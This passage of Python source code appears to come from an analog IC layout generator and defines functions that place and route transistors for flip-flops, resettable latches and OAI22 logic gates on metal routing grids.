laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ri0_pin_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclk0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='CLKB', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = rclkb0, gridname = rg_m3m4), gridname=rg_m3m4)
laygen.pin(name='RSTB', layer=laygen.layers['pin'][3], xy=nd0_b_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][4], xy=laygen.get_xy(obj = ro0, gridname = rg_m3m4), gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VDD', rg_m2m3)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VDD', rg_m2m3)
rvss0_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'TINV0', 'VSS', rg_m2m3)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'ND0', 'VSS', rg_m2m3)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_dff(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=np.array([0, 0]),
m=4, create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I" + objectname_pfix + 'INV0', "inv_" + str(m) + "x", pg, xy=origin)
i1 = laygen.relplace(name = "I" + objectname_pfix + 'INV1', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i0.name)
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'INV1'), gridname = pg)+ laygen.get_xy(obj = i1.template, gridname = pg) * np.array([1, 0])
generate_latch_2ck(laygen, objectname_pfix+'LCH0', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, pin_o_y=5, create_pin=False)
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'LCH0INV0'), gridname = pg)+ laygen.get_xy(obj = i1.template, gridname = pg) * np.array([1, 0])
generate_latch_2ck(laygen, objectname_pfix+'LCH1', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=2, pin_clkb_y=3, route_mem_y=4, pin_o_y=5, create_pin=False)
#internal coordinates
i0_i_xy = laygen.get_inst_pin_xy(i0.name, 'I', rg_m3m4)
i0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
i1_i_xy = laygen.get_inst_pin_xy(i1.name, 'I', rg_m3m4)
i1_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
ilch0_i_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH0TINV0', 'I', rg_m3m4)
ilch0_o_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH0INV0', 'O', rg_m3m4)
ilch1_i_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'I', rg_m3m4)
ilch1_ck_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'EN', rg_m3m4)
ilch1_ckb_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'ENB', rg_m3m4)
ilch1_o_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1INV0', 'O', rg_m3m4)
# iclkb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i0_o_xy[0], i1_i_xy[0], 3, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i1_i_xy[0], ilch1_ckb_xy[0], 3, rg_m3m4)
# iclk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i1_o_xy[0], ilch1_ck_xy[0], 2, rg_m3m4)
# intermediate
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], ilch0_o_xy[0], ilch1_i_xy[0], 5, rg_m3m4)
#pin
if create_pin == True:
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ilch0_i_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][3], xy=i0_i_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][3], xy=ilch1_o_xy, gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy(i0.name, 'VDD', rg_m2m3)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1INV0', 'VDD', rg_m2m3)
rvss0_pin_xy = laygen.get_inst_pin_xy(i0.name, 'VSS', rg_m2m3)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1INV0', 'VSS', rg_m2m3)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_dff_rsth(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=np.array([0, 0]), m=4, create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i0 = laygen.place("I" + objectname_pfix + 'INV0', "inv_" + str(m) + "x", pg, xy=origin)
i1 = laygen.relplace(name = "I" + objectname_pfix + 'INV1', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i0.name)
i2 = laygen.relplace(name = "I" + objectname_pfix + 'INV2', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i1.name) #rstb
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'INV2'), gridname = pg)+ laygen.get_xy(obj = i1.template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_rstbh(laygen, objectname_pfix+'LCH0', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, pin_o_y=5, create_pin=False)
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'LCH0ND0'), gridname = pg)+ \
laygen.get_xy(obj = laygen.get_inst('I' + objectname_pfix + 'LCH0ND0').template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_rstbh(laygen, objectname_pfix+'LCH1', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=2, pin_clkb_y=3, route_mem_y=4, pin_o_y=5, create_pin=False)
#internal coordinates
i0_i_xy = laygen.get_inst_pin_xy(i0.name, 'I', rg_m3m4)
i0_o_xy = laygen.get_inst_pin_xy(i0.name, 'O', rg_m3m4)
i1_i_xy = laygen.get_inst_pin_xy(i1.name, 'I', rg_m3m4)
i1_o_xy = laygen.get_inst_pin_xy(i1.name, 'O', rg_m3m4)
i2_i_xy = laygen.get_inst_pin_xy(i2.name, 'I', rg_m3m4)
i2_o_xy = laygen.get_inst_pin_xy(i2.name, 'O', rg_m3m4)
ilch0_i_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH0TINV0', 'I', rg_m3m4)
ilch0_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'B', rg_m3m4)
ilch0_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'O', rg_m3m4)
ilch1_i_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'I', rg_m3m4)
ilch1_ck_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'EN', rg_m3m4)
ilch1_ckb_xy = laygen.get_inst_pin_xy('I'+objectname_pfix+'LCH1TINV0', 'ENB', rg_m3m4)
ilch1_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'B', rg_m3m4)
ilch1_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'O', rg_m3m4)
# iclkb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i0_o_xy[0], i1_i_xy[0], 3, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i1_i_xy[0], ilch1_ckb_xy[0], 3, rg_m3m4)
# iclk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i1_o_xy[0], ilch1_ck_xy[0], 2, rg_m3m4)
# intermediate
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], ilch0_o_xy[0], ilch1_i_xy[0], 5, rg_m3m4)
# rstb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i2_o_xy[0], ilch0_rstb_xy[0], 6, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i2_o_xy[0], ilch1_rstb_xy[0], 6, rg_m3m4)
#pin
if create_pin == True:
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ilch0_i_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][3], xy=i0_i_xy, gridname=rg_m3m4)
laygen.pin(name='RST', layer=laygen.layers['pin'][3], xy=i2_i_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][3], xy=ilch1_o_xy, gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy(i0.name, 'VDD', rg_m1m2)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VDD', rg_m1m2) #(fix this)
rvss0_pin_xy = laygen.get_inst_pin_xy(i0.name, 'VSS', rg_m1m2)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VSS', rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_oai22_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_left, devname_nmos_body_right,
devname_pmos_boundary, devname_pmos_body_2stack,
origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body_left, gridname = pg, refinstname = in0.name)
in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_body_right, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in3.name)
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_body_left, gridname = pg, refinstname = in4.name)
in6 = laygen.relplace(name = "I"+objectname_pfix + 'N6', templatename = devname_nmos_body_right, gridname = pg, refinstname = in5.name)
in7 = laygen.relplace(name = "I"+objectname_pfix + 'N7', templatename = devname_nmos_boundary, gridname = pg, refinstname = in6.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip0.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip3.name, transform='MX')
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip4.name, transform='MX')
ip7 = laygen.relplace(name = "I"+objectname_pfix + 'P7', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip5.name, transform='MX')
# route
# A
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0',
refinstname1=in1.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
ra0 = laygen.route("R"+objectname_pfix+"A0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# B
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in2.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G1',
refinstname1=ip1.name, refpinname1='G1', endstyle0="extend", endstyle1="extend")
rb0 = laygen.route("R"+objectname_pfix+"B0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in2.name, refpinname0='G0', refinstname1=in2.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
# C
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0',
refinstname1=in5.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
rc0 = laygen.route("R"+objectname_pfix+"C0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in5.name, refpinname0='G0', refinstname1=in5.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m2m3)
# D
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='G1', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip5.name, refpinname0='G1',
refinstname1=ip5.name, refpinname1='G1', endstyle0="extend", endstyle1="extend")
rd0 = laygen.route("R"+objectname_pfix+"D0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=ip5.name, refpinname='G1', gridname=rg_m2m3)
# PDN-internal
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='D0', refinstname1=in5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='S0', refinstname1=in6.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# PUP-internal
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# output
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_d0 * np.array([1, 0]), xy1=xy_d0, gridname0=rg_m1m2,
refinstname0=in2.name, refinstname1=in2.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstname1=ip1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip5.name, refinstname1=ip5.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_d0 * np.array([1, 0]), refinstname=in2.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip5.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in1.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip7.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in7.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['A', 'B', 'C', 'D', 'O'], rect_list=[ra0, rb0, rc0, rd0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_oai22_skewed_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body_left, devname_nmos_body_right, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body_2stack,
origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body_left, gridname = pg, refinstname = in0.name)
in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_body_right, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_boundary, gridname = pg, refinstname = in2.name)
in4 = laygen.relplace(name = "I"+objectname_pfix + 'N4', templatename = devname_nmos_boundary, gridname = pg, refinstname = in3.name)
in5 = laygen.relplace(name = "I"+objectname_pfix + 'N5', templatename = devname_nmos_body_left, gridname = pg, refinstname = in4.name)
in6 = laygen.relplace(name = "I"+objectname_pfix + 'N6', templatename = devname_nmos_body_right, gridname = pg, refinstname = in5.name)
in7 = laygen.relplace(name = "I"+objectname_pfix + 'N7', templatename = devname_nmos_boundary, gridname = pg, refinstname = in6.name)
in8 = laygen.relplace(name = "I"+objectname_pfix + 'N8', templatename = devname_nmos_space, gridname = pg, refinstname = in7.name, shape=np.array([4, 1]))
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip0.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip4 = laygen.relplace(name = "I"+objectname_pfix + 'P4', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip3.name, transform='MX')
ip5 = laygen.relplace(name = "I"+objectname_pfix + 'P5', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip4.name, transform='MX')
ip5a = laygen.relplace(name = "I"+objectname_pfix + 'P5a', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip5.name, transform='MX')
ip5b = laygen.relplace(name = "I"+objectname_pfix + 'P5b', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip5a.name, transform='MX')
ip6 = laygen.relplace(name = "I"+objectname_pfix + 'P6', templatename = devname_pmos_body_2stack, gridname = pg, refinstname = ip5b.name, transform='MX')
ip7 = laygen.relplace(name = "I"+objectname_pfix + 'P7', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip6.name, transform='MX')
# route
# A
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0',
refinstname1=in1.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
ra0 = laygen.route("R"+objectname_pfix+"A0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
# B
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in2.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G1',
refinstname1=ip1.name, refpinname1='G1', endstyle0="extend", endstyle1="extend")
rb0 = laygen.route("R"+objectname_pfix+"B0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in2.name, refpinname0='G0', refinstname1=in2.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=ip1.name, refpinname='G1', gridname=rg_m2m3)
# C
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0')
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([6, 0]), xy1=np.array([6, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m1m2)
laygen.via(None, np.array([6, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([6, 0]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='G0',
refinstname1=in5.name, refpinname1='G0', endstyle0="extend", endstyle1="extend")
rc0 = laygen.route("R"+objectname_pfix+"C0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in5.name, refpinname0='G0', refinstname1=in5.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in5.name, refpinname='G0', gridname=rg_m2m3)
# D
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in6.name, refpinname0='G0', refinstname1=ip5.name, refpinname1='G1')
laygen.via(None, np.array([0, 0]), refinstname=ip5.name, refpinname='G1', gridname=rg_m1m2)
laygen.via(None, np.array([2, 0]), refinstname=ip5.name, refpinname='G1', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-2, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=ip5.name, refpinname0='G1',
refinstname1=ip5.name, refpinname1='G1', endstyle0="extend", endstyle1="extend")
rd0 = laygen.route("R"+objectname_pfix+"D0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='G0', refinstname1=in6.name, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=ip5.name, refpinname='G1', gridname=rg_m2m3)
# PDN-internal
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='D0', refinstname1=in5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in5.name, refpinname0='S0', refinstname1=in6.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# PUP-internal
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 1]), xy1=np.array([2, 1]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# output
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 1]), xy1=np.array([0, 1]), gridname0=rg_m2m3,
refinstname0=in6.name, refpinname0='D0', refinstname1=ip5.name, refpinname1='D0', via0=[[0, 0]], via1=[[0, 0]])
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_d0 * np.array([1, 0]), xy1=xy_d0, gridname0=rg_m1m2,
refinstname0=in2.name, refinstname1=in2.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstname1=ip1.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip5.name, refinstname1=ip5.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0 * np.array([1, 0])+np.array([2,0]), xy1=xy_s0+np.array([2,0]), gridname0=rg_m1m2,
refinstname0=ip6.name, refinstname1=ip6.name)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2)
laygen.via(None, xy_d0 * np.array([1, 0]), refinstname=in2.name, gridname=rg_m1m2)
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2)
